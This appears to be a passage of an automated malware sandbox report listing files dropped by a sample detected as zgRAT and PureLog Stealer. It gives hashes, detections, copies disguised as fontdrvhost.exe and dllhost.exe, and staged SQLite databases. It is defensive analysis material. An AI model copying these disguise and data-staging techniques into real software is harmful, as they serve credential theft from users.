                                                                                                                                      SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:[ZoneTransfer]....ZoneId=0

                                                                                                                                      C:\Recovery\5b884080fd4f94

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):226
                                                                                                                                      Entropy (8bit):5.658246112471027
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:6:3Qb7Keoim8gK00Pi1IH4F1+LrB4v0Kpx/UhQh7D:3QP5oYlM4rBy3TH
                                                                                                                                      MD5:41771C88519F5323E4EF6AE48B0EB725
                                                                                                                                      SHA1:68DAD253264B691AB99B5277F73DABCF179A21DF
                                                                                                                                      SHA-256:8A523CE888005A2AAD27FA5BD0E90B0F888421A39305F3477FC41D96B9F8A779
                                                                                                                                      SHA-512:F66E007316A570334FD608AC91F6B15F02E73468485D0E734D1ECB389F20EF346735B4B5FC9131413A2D5CFEA59E3B7FF36F323DB0E77B3BF8DF5A5639E685CF
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:R98C5sU1yQEvZAPO2saRRSWzDhG7GRvmGSXy274nzWYDyy42O9J2Ud69mI9YmXuhecoHnaW5xwb44TBOnOsHH3RnWXMt7gBcl1iVKxPxnNEhCBFTHuvXonZlKAvPOm7Rv8SCupEz84e4yulUS2lNvny8b6KJC9jAPxvDsCibp5YtIfxaZa7VAufIKUlyf4x9VeoA9hmPUKhzOEz6JutlCN9fRm3Ybu5vHZ

                                                                                                                                      C:\Recovery\fontdrvhost.exe

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):3682816
                                                                                                                                      Entropy (8bit):7.823106714932208
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:98304:7hgFoJyp5aYSww8ceHQSIgLmJrvpFn4liKJMWSxur:76FoJyraUj4bn4059xu
                                                                                                                                      MD5:17D1A3B2D87457F2492926349FAE2417
                                                                                                                                      SHA1:5FFDB9A82FAF2FC9DDA683DC026E10376BC5A7BC
                                                                                                                                      SHA-256:A15DEBB35819618DDE10ABC793552E6ADDF91BAF38D2025C274D84FDCEDB97FA
                                                                                                                                      SHA-512:0F76D1C698295E6B2D1EA94A8FED8388754A4AAAF25ED0E25CC7EF9EEEA91F0BD8DA3240843ACF2CCE15D7896D2B9C5859637D19C8B3AD24DB11308274101775
                                                                                                                                      Malicious:true
                                                                                                                                      Yara Hits:
                                                                                                                                      • Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Recovery\fontdrvhost.exe, Author: Joe Security
                                                                                                                                      • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\fontdrvhost.exe, Author: Joe Security
                                                                                                                                      • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\fontdrvhost.exe, Author: Joe Security
                                                                                                                                      • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\fontdrvhost.exe, Author: Joe Security
                                                                                                                                      • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\fontdrvhost.exe, Author: Joe Security
                                                                                                                                      • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\fontdrvhost.exe, Author: Joe Security
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: Avira, Detection: 100%
                                                                                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 74%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.................*8..........H8.. ...`8...@.. ........................8...........@..................................H8.K....`8.p.....................8...................................................... ............... ..H............text....(8.. ...*8................. ..`.rsrc...p....`8......,8.............@....reloc........8......08.............@..B.................H8.....H...........l.......o...\....d-..H8......................................0..........(.... ........8........E........\...)...M...8....(.... ....~q...{}...:....& ....8....(.... ....~q...{....:....& ....8....(.... ....8....*....0.......... ........8........E....V...z...................8Q......... ....8........~....(S...~....(W... ....?.... ....~q...{....:....& ....8....8.... ....~q...{....9t...& ....8i...~....9.... ....~q...{....:K...& ....8@...~....(K... .... .... ....s....~...

                                                                                                                                      C:\Recovery\fontdrvhost.exe:Zone.Identifier

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):26
                                                                                                                                      Entropy (8bit):3.95006375643621
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:3:ggPYV:rPYV
                                                                                                                                      MD5:187F488E27DB4AF347237FE461A079AD
                                                                                                                                      SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                                                                      SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                                                                      SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                                                                      Malicious:true
                                                                                                                                      Preview:[ZoneTransfer]....ZoneId=0

                                                                                                                                      C:\Users\Public\Libraries\5940a34987c991

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):296
                                                                                                                                      Entropy (8bit):5.761869722125368
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:6:jHzOR1Ud1/HTOYqv9dT0C5sq0awZHv0dwLT00WFO3mR9:jTOR1g1vTOF0Cqq7wLI0WFqmR9
                                                                                                                                      MD5:547071EF4874CC5C0F588A3DA9F9051E
                                                                                                                                      SHA1:5851E8EF1114AE5AED547DA6D5D154613133204F
                                                                                                                                      SHA-256:A37F1014397E68AB94F0B1187096824140FC094D811EDBDF8E772B5AEE761C11
                                                                                                                                      SHA-512:185FEF7CB87C7FC62603442CB44515B1A4B18EC3B04A8B8976DAD2408B4A9DB801D6AC6128EEF2A92D16D80A380584FADA35D0E312041528183770637F40F196
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:OWQHaJ52LYZg2BIwq45aW2gYWwtdLmtIQscAUYV0CWq5Lfw9L1I9pb5V01uoZbqipRQJiHbSiEXALkN0AuSTdtdyxHKcnralpHQ4PmaEZ0bkD4JPo3npJWF5xbWb69o0nwVDUSlYTN3nS2v374xtDvbSCUGxP9HaLk6QjF5WSPV5dcn5qddCL5x2UCB9MxITGdbs6eT29bbyZgzkrLHwgFOQxE5gE6KeGCy9A48LJlCud8dyMaRAqWxBOL51ixxDR6rXrzkwM5m5CewylHTnoJytOxvz9HmWx9chQFHX

                                                                                                                                      C:\Users\Public\Libraries\dllhost.exe

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):3682816
                                                                                                                                      Entropy (8bit):7.823106714932208
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:98304:7hgFoJyp5aYSww8ceHQSIgLmJrvpFn4liKJMWSxur:76FoJyraUj4bn4059xu
                                                                                                                                      MD5:17D1A3B2D87457F2492926349FAE2417
                                                                                                                                      SHA1:5FFDB9A82FAF2FC9DDA683DC026E10376BC5A7BC
                                                                                                                                      SHA-256:A15DEBB35819618DDE10ABC793552E6ADDF91BAF38D2025C274D84FDCEDB97FA
                                                                                                                                      SHA-512:0F76D1C698295E6B2D1EA94A8FED8388754A4AAAF25ED0E25CC7EF9EEEA91F0BD8DA3240843ACF2CCE15D7896D2B9C5859637D19C8B3AD24DB11308274101775
                                                                                                                                      Malicious:true
                                                                                                                                      Yara Hits:
                                                                                                                                      • Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\Public\Libraries\dllhost.exe, Author: Joe Security
                                                                                                                                      • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\Public\Libraries\dllhost.exe, Author: Joe Security
                                                                                                                                      Antivirus:
                                                                                                                                      • Antivirus: Avira, Detection: 100%
                                                                                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                      • Antivirus: ReversingLabs, Detection: 74%
                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.................*8..........H8.. ...`8...@.. ........................8...........@..................................H8.K....`8.p.....................8...................................................... ............... ..H............text....(8.. ...*8................. ..`.rsrc...p....`8......,8.............@....reloc........8......08.............@..B.................H8.....H...........l.......o...\....d-..H8......................................0..........(.... ........8........E........\...)...M...8....(.... ....~q...{}...:....& ....8....(.... ....~q...{....:....& ....8....(.... ....8....*....0.......... ........8........E....V...z...................8Q......... ....8........~....(S...~....(W... ....?.... ....~q...{....:....& ....8....8.... ....~q...{....9t...& ....8i...~....9.... ....~q...{....:K...& ....8@...~....(K... .... .... ....s....~...

                                                                                                                                      C:\Users\Public\Libraries\dllhost.exe:Zone.Identifier

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):26
                                                                                                                                      Entropy (8bit):3.95006375643621
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:3:ggPYV:rPYV
                                                                                                                                      MD5:187F488E27DB4AF347237FE461A079AD
                                                                                                                                      SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                                                                      SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                                                                      SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                                                                      Malicious:true
                                                                                                                                      Preview:[ZoneTransfer]....ZoneId=0

                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\eu6OEBpBCI.exe.log

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\user\Desktop\eu6OEBpBCI.exe
                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):1698
                                                                                                                                      Entropy (8bit):5.367720686892084
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:MxHKQwYHKGSI6oPtHTHhAHKKkt1qHGIs0HKjJHVHmHKlT4x:iqbYqGSI6oPtzHeqKktwmj0qV1GqZ4x
                                                                                                                                      MD5:2C0A3C5388C3FAAFA50C8FB701A28891
                                                                                                                                      SHA1:D75655E5C231DE60C96FD196658C429E155BEB0F
                                                                                                                                      SHA-256:A44CB861DDF882F48202B95D3A8A535419C1AE0386666C84B803F9810473EDD7
                                                                                                                                      SHA-512:0343301C34ED4FEB7EFF30186862EBC7446E6044955B3088B0BE0D86A3DACAE1BFC407A59D385E9CBB7A0DEF210DC3405FD442A598FD28431371E249F748258A
                                                                                                                                      Malicious:true
                                                                                                                                      Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567f

                                                                                                                                      C:\Users\user\AppData\Local\Temp\001CjtVR0f

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\08ZM0ySOlt

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\0MPSpksP4w

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\0VHqSy5ZuH

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\0ty8VXddWD

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\13AH39Vocn

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):98304
                                                                                                                                      Entropy (8bit):0.08235737944063153
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
                                                                                                                                      MD5:369B6DD66F1CAD49D0952C40FEB9AD41
                                                                                                                                      SHA1:D05B2DE29433FB113EC4C558FF33087ED7481DD4
                                                                                                                                      SHA-256:14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
                                                                                                                                      SHA-512:771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\1H7JDHFsHW

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5712781801655107
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\1MiaMXd0no

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\1bn8OQKv3a

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\1cL3ZC9Vtp

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\26eOXIrRbr

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\2939qGJZVK

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\2CcYYFQz49

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
